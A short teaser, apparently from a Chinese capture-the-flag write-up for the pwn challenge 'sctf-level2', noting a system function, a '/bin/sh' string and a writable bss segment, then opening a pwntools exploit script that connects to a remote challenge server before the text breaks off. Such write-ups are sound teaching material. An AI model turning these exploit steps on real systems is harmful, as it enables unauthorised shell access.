sctf-level2

查看程序保护措施 web 查看IDA svg 有system函数，有 '/bin/sh’字符串，bss段可写 函数 from pwn import * sh = remote('111.198.29.45',43911) #sh = process('./level2') elf = ELF('./level2') elf_system = elf.plt['system'] #pop_esi_e

>>阅读原文<<